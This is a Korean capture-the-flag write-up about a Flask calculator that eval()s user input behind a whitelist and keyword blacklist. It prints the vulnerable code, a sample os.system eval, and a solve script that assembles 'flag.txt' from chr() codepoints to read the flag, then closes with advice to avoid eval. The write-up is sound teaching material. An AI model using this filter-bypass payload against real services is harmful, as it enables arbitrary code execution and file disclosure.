덧셈식을 받아 eval()로 계산하는 Flask 계산기. 따옴표·언더스코어·콤마가 전부 화이트리스트 밖이라 문자열 리터럴을 못 쓰고, flag·system 같은 단어는 블랙리스트로 막힌다. chr() 코드포인트를 +로 이어 "flag.txt"를 조립해 open().read()로 ./flag.txt를 읽어낸다.
파이썬 eval(s)는 문자열 s를 파이썬 표현식으로 평가한다. eval("1+1")은 2를 돌려주지만, eval("__import__('os').system('id')")도 똑같이 실행한다. 계산기처럼 보여도 실제로는 임의 코드 실행 창구다.
이 문제 서버는 입력 formula를 받아 그대로 eval(formula)에 넣는다. 즉 필터만 통과하면 파이썬 코드를 그대로 돌릴 수 있다.
formula = request.form.get("formula", "")if formula != "": if filter(formula): return render_template("index.html", result="Filtered") else: try: formula = eval(formula) # ← 임의 표현식 평가 return render_template("index.html", result=formula) except subprocess.CalledProcessError: return render_template("index.html", result="Error") except: return render_template("index.html", result="Error")
정상 입력은 그대로 동작한다. 1+1을 넣으면 2가 나온다.
1 + 1 → 2, eval이 식을 그대로 계산한다
남은 건 eval 앞을 지키는 filter() 하나뿐이다.
🔬 코드 정찰 — filter() 뜯어보기
필터 전체는 이렇다.
def filter(formula): w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits) w_list.extend([" ", ".", "(", ")", "+"]) if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I): return True for c in formula: if c not in w_list: return True
손으로 넣어도 되지만, 코드포인트를 직접 세는 대신 ord()로 자동 조립하는 스크립트로 정리했다. 파일명만 바꾸면 다른 파일도 읽을 수 있다.
# solve.pyimport requestsimport reBASE = "http://host8.dreamhack.games:22906"# "flag.txt" 를 한 글자씩 chr() 로 — f l a g . t x tname = "flag.txt"expr = "+".join(f"chr({ord(c)})" for c in name) # chr(102)+chr(108)+...+chr(116)payload = f"open({expr}).read()"print("[*] payload :", payload)r = requests.post(BASE + "/", data={"formula": payload}, timeout=20)# 결과는 <pre>...</pre> 안에 렌더된다flag = re.search(r"<pre>(.*?)</pre>", r.text, re.S).group(1).strip()print("[+] FLAG :", flag)
solve.py 실행 — 조립한 payload와 회수한 FLAG
[*] payload : open(chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()[+] FLAG : DH{348566e31c1ebb3e9fb81b1bf60bd22728bc127bfba0ab3cb84a1e965f77f92f}
이 문제의 필터는 꽤 그럴듯하다. 위험한 단어를 막고, 허용 문자도 좁게 줄였다. 그런데 +와 chr 같은 빌트인이 살아있는 한, "문자열을 못 만들게 막았다"는 가정이 무너진다. 코드포인트를 더해 어떤 문자열이든 실행 시점에 만들어낼 수 있기 때문이다.
블랙리스트는 본질적으로 뒤쫓는 방어다.
flag·system을 막아도 chr(102)+...나 getattr, 16진 이스케이프 등 같은 결과를 내는 표현이 끝없이 남는다. 정적 문자열에서 나쁜 단어를 찾는 검사는, 그 단어가 런타임에 조립되는 순간 의미가 없어진다.
진짜 방어는 eval을 쓰지 않는 것이다.
덧셈만 필요했다면 eval 대신 식을 직접 파싱하거나 ast.literal_eval처럼 표현식 범위를 데이터로 제한하는 도구를 쓴다. 입력으로 코드를 평가해야 할 합당한 이유는 웹 계산기에 없다. 굳이 동적 평가가 필요하면 화이트리스트 기반 AST 검증으로 호출 가능한 노드를 명시적으로 좁혀야 한다 — "나쁜 걸 빼는" 게 아니라 "좋은 것만 남기는" 방향으로.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…